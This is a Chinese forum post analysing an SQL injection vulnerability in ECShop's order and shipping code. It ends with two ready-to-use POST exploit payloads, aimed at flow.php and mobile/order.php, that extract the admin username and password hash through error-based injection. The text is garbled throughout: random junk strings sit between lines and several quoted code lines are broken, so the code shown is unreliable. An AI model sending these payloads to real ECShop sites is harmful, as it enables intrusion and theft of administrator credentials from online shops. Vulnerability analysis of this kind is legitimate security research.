找回密码
 立即注册
查看: 2646|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。* t7 u; g9 e3 p+ P( U7 p' p0 r" T1 @
, Y. c6 L5 b/ S' {; V: c+ p
    漏洞关键文件:
+ n% K( I1 M- _% D) {) c' D9 q: _) d3 b: Q6 m/ Z
    /includes/lib_order.php
4 x2 G8 V! Q6 q* ~: t4 {
. P7 T! I; H' H. f3 J5 U8 i    关键函数:, {- J6 S5 v% \+ {
" M+ x% B; F7 y
$ k3 e0 y/ I  L/ O. x

9 T! c& z  ~9 z* |01     function available_shipping_list($region_id_list) ) V5 S. Z5 }; d
$ }! e: M9 i! u9 C
02 {
) f  e% v5 v/ a% N) p
4 w: F% t9 S3 r8 ]1 n03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . . }$ M" p9 _: V  P9 Q. P6 S
2 h# u" ~( j, s# w* ^4 i9 [$ C
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
3 \& O4 i) [. ]6 N* @  M9 Y: U4 f: I# c- h; |
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
% W0 M5 w& K3 l5 g# {- @: K( J) T7 e6 H+ ~
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ; Q# c' d8 V  z, f

; r2 M; [& v" ~" t' [07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 4 m3 J# P2 ?$ s+ i/ l3 [
* c/ [7 u3 ]/ a: v0 H+ Q1 ~# `
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
+ i! h2 x* k  H3 a- x- s) Z+ h3 ?9 u& Q# v2 h3 H( Y
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
2 y2 r" d# j* H0 ^: A: D! N0 ]; x9 d5 O- v6 G
10   5 Z2 t& Q! [8 G! f; F( s  |; z
7 [! z: l& ^5 y( w/ e5 i. I0 P+ P! `
11     return $GLOBALS['db']->getAll($sql); , b* I; o' f0 ^8 `% Z$ K0 m; P

) A" E) J! p: a1 X* U7 n! v2 H12 } 1 O& D( E8 ^* J5 F, `% ~

) z/ t) V( Q4 F7 i" j; l+ y显然对传入的参数没有任何过滤就带入了查询语句。
) B( q: e6 l" a1 y, d) E& R 8 H  ]8 O  e! Q0 o$ w2 V% s9 K
下面我们追踪这个函数在flow.php中:
0 G3 q' ?$ d  y  k8 v# c 第531行:   , {2 L9 y' {2 \' _! ~

+ U2 s1 |; Z  m, u+ h+ G% Q1 $shipping_list     = available_shipping_list($region);
& D# p' {) `8 D2 Q: `) k& s/ l- c' t/ B+ B  R

" y, k0 I% }9 q, J( w1 L7 I/ ~6 @& O8 v, ~

" A+ P! I2 c2 ~# V# ^  R8 |8 W" n+ i0 v/ f6 w
再对传入变量进行追踪:2 W) F0 _5 G0 l* t5 |

9 @& ?) q. _% a) @# c: ^7 m8 v第530行:    2 K  e6 c2 H. Q7 E% [) @/ k
' |0 D5 D/ U% x7 t" D( \- k7 x
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 5 Y' Y; W0 E" `9 S7 ]

7 ]& x4 g5 i. j* F' \: t/ H' u) Q
& |' m, A7 K" V( G# Z& \; }2 U( s# G$ \! r% O1 _( Y

9 e7 h6 p6 q0 j$ s6 \
' r( S5 e, O" S+ |+ Y. D第473行:        
& c" }* B  `" Z: B3 c2 n$ D" W& T  e" d3 h0 `$ e
1 $consignee = get_consignee($_SESSION['user_id']); 0 P2 `3 R% |1 R
; O8 s8 q9 Y# ]. _, B3 j' c
到了一个关键函数:* z( V: L7 [" E

5 A6 M) P* Z) M' ?# G" ?" Z/includes/lib_order.php
4 p% z, k/ u8 ^) M$ a% Z8 W5 O" w. C  D
7 q$ m+ ?  k: m# ?0 E4 i, ~0 M1 p % j, l' e4 i, N

- V* j9 b0 s9 [
! E, E: v$ a1 H
0 P6 Q  |& O% m) n2 ?01 function get_consignee($user_id) 2 f' V* j7 d- a. @
9 W9 ^+ H; `# a6 [* B6 l; b9 Y
02 { + y4 D- d' `3 D

1 c! I5 u: l, R- H03     if (isset($_SESSION['flow_consignee']))
9 }1 G7 U/ f5 t; p7 C0 w: p8 `
4 X5 ~( p% x# ]* l% y- A04     {
2 p2 z) I  `3 b8 ?* `! W" ^) @
! V+ c' @! P( e; X05         /* 如果存在session,则直接返回session中的收货人信息 */
1 w& S$ [% T6 M9 O, O/ ?( e' _% v
% J+ i; V/ |: J+ ~06   0 {, P/ e2 P& Z  k% c5 {
" D' P& O( k( s/ t
07         return $_SESSION['flow_consignee'];
+ t# ^- r  C5 C0 m' b) r
! U/ g/ f" j, W1 ?9 I4 T08     }
) s6 C3 r! Q9 f1 `4 X1 |: r8 [# p
09     else " U+ _3 [$ @8 O1 J2 h5 ?( M* `
- C! ^& l1 ]. G7 v6 b$ T+ q+ B
10     {
4 B2 V2 d+ D. I+ u+ q& @; q. I
9 G% S9 n( J0 X. X4 w! Y11         /* 如果不存在,则取得用户的默认收货人信息 */
! `: R" G- V; b/ K! Z) t4 a
( n1 {1 o0 a' e3 K; S12         $arr = array();
. B8 N# r) E/ g" U0 R7 }; ]+ {7 U
13   1 k0 F1 {6 I* G2 w

6 [& n4 C: k$ ]$ r3 }14         if ($user_id > 0)
# a# @& X% S$ E/ H/ M9 l
9 e: |; [3 ]6 \) a5 \/ R15         {
: q# }+ R8 P' a6 u9 A, W/ g8 M) l: I- b( e$ B, z1 g8 l
16             /* 取默认地址 */ ( P' R" @6 Q* q1 ]7 \
3 p" x. k3 b- ~7 ?( m  u  m: Q+ O
17             $sql = "SELECT ua.*". 0 J) a' D$ y& a0 @  ?# ]

+ s) M: O, F6 ~  L. D+ a4 G18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! f! X# N* y  I& k  G
% c" c4 s% v+ |; `7 S1 _19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
! K6 u2 ?; H& W& |4 Z& h* j7 F* W& h3 e& b7 s/ f3 J) r
20   
/ A' C6 U" _2 d1 X: a
$ K- [6 R" P2 o0 k4 G! K21             $arr = $GLOBALS['db']->getRow($sql);
7 {7 D+ E6 V; M. u, ]5 r0 V2 y+ h2 q* k' H- G7 a# v
22         }
# v4 b% n5 g2 u  w0 l( h+ g$ f
" ~% l: K7 R3 z) j7 G! \23   
, r* C# R& \% Q& ~
3 }% t7 p% e& f# e/ ~2 M24         return $arr;
* A" O5 d/ z! E/ U. |4 l6 h+ D
25     } ) W" j: x' v6 t. W/ Z6 A/ |

8 r1 s& K! s& I* Z  s26 }
" r% V* ^$ p9 \( q( K# z% z2 k* A- I1 h3 v3 q1 b. M: W( n
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
" N* c8 d. i( z1 N8 g0 L, j
, e8 B" v- n: t; w/ u+ m/ ^: _4 Y
# V+ W4 w- J3 B" A1 m0 R2 P4 s: O3 m# o) H
关键点:
: W7 F, q' g: ^9 v8 B3 S
$ }$ f) q1 _# y2 {( ?第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, V" C6 a& Q3 G' q5 a
& s" ]' f* l: L$ O( |5 _3 z# D6 c8 H这里对传入参数反转义存入$_SESSION中。
' l* v2 l( n0 y4 C' \+ V8 L' T/ e, n. D! m7 U1 i3 Z! O' H9 i
1 D5 z( ~, h' _- W. t! p

8 c- {8 s/ {2 o- o5 m) J4 }然后看下:
( v  D! r2 \' _# N4 X) Y& h& U' f# O5 w" Z6 F

% A5 f0 y/ e1 n7 X! a# ]% x  }6 W$ q" n; ?. k- Z, P! t
   
6 c" k; S; F; i0 [7 r
; N# w/ F1 U5 h) o- _# c0 ?! m01 $consignee = array(
) G6 G4 X. b/ r" F. m9 `+ m' X, O* @0 t6 w7 [# P/ \! ]* c
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), ! Y' e. B" z( Q9 S
& t( b- q+ n* ]1 H
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
  L" k& F" j" B6 l: l" k: J; m( Y9 \8 B  H4 f* t
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
- e5 A0 o3 u6 d% P
8 l) U! k7 X4 M: v2 z( N05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 2 e8 R  Z5 Z0 y1 M4 ^& a! m: R
! i/ k9 O5 ]8 U& k
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], ' w$ B, [! l/ P# ?/ e& q6 R) `; o
8 b+ I0 d- e) _
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 6 D8 F& A! }! c. T: V9 \  b; S
# I$ D4 B* s1 H( b" B! M- B, u
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], ! M/ D$ n3 L; Y) d' M3 A1 F5 }
1 s0 \3 P1 L( q7 o( {5 S/ v9 |6 M; u
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
! T& p/ p7 H- D; W  V) k% y3 r
! L8 {: |: a5 D1 f! E' |% v10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
" P0 J2 l7 w( @, ^- P9 e( }2 a: t3 _7 o) o9 i! r- P3 T$ \
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 1 O, w% Q: U4 Y0 ^5 O
  Y) k# U* u5 e& }) w
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
9 M7 V. P  D0 t! j) x/ F2 D% W5 Z8 K( Q- _3 }. w3 {% R
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
1 ~8 c8 f6 Y: b& ?; q  [+ s; j( U5 R
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ) q/ Y) L0 I# d; m  X/ C1 R
" a. L" S4 G) e$ x% ~
15     ); 3 ]& b$ Y4 u* ?9 _" ^
0 L- `. s# ]; z: B% Z
好了注入就这样出现了。: J( c' P, l1 m/ x

7 u5 @% @  s6 Y) e. _6 ~$ \==================& n. u5 `9 S% v+ M/ e, {. i# G% j+ J
( O2 x8 [. v4 I$ t: H+ P# Q
注入测试:) C2 |; x8 V/ ?  ?; y

  u" j1 d4 F8 {9 ~+ o环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
# A( E% `; M7 |6 B; {2 u$ {. ~. B6 q$ A! j
测试程序:ECShop_V2.7.3_UTF8_release1106
& [; y6 l6 n) S) \' ~' n* U  x; B2 F" G
+ a) O0 O1 I' v  G

' e" a( z2 ]' l9 M4 }8 q6 o* P' k1.首先需要点击一个商品加入购物车5 R" G4 i. Z' I) k+ Q+ j) Y
8 d5 ~4 M1 M- E/ {, F$ q
2.注册一个会员帐号
& j: V( d& F  U2 O+ Z/ j  F
: Z( x" y6 B7 L( L- g3 t3.post提交数据! o% \/ b* o: I

$ O9 y6 i( F. Y' k4 k
/ S/ [& b* K+ x  C4 c! V; A- m/ M2 z
1 http://127.0.0.1/ecshop/flow.php
! D5 w8 a  ?3 p8 U& ]6 @1 a: T2 b9 ^5 t
2   . [$ j1 a5 Z* R9 @* U7 H, C$ g- N% Y
, {9 e4 v* c0 a2 T# `
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
8 \! M, U. S5 T2 c% y% A/ N9 `举一反三,我们根据这个漏洞我们可以继续深入挖掘:
! \+ |! u. g, d
) @  a8 K" p2 W我们搜寻关键函数function available_shipping_list(). {( U" Z& f, \% n' M0 D

  ^) X0 t, Y) l3 x* R) O: B在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
  u: ^: ?  ]9 e# n2 W0 C
) w7 z0 `% \8 ^) U* S: A利用exp:' q1 ^" y0 N) y$ {, l, K+ y
# p% r; v! h# \" u
1.点击一个商品,点击购买商标2 i' D% X6 D/ G4 q$ z* N
5 ~' U8 h4 g8 h3 p+ U
2.登录会员帐号
4 H3 q! S) g/ H
- a; G- j8 Z, _* K7 l3.post提交:
$ _5 g! Z! y( A5 Q: e) ~6 W$ V9 j/ X
http://127.0.0.1/ecshop/mobile/order.php
  a* v! D, A/ R. ~
( K) V3 K( t( `7 J- U' A ( L3 d' y0 ]. ^; ~1 A' ]

- ^5 w+ F+ E/ Jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
' @( Z  P. H5 z; S$ |- w8 s( @- D1 [0 V- y6 S1 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表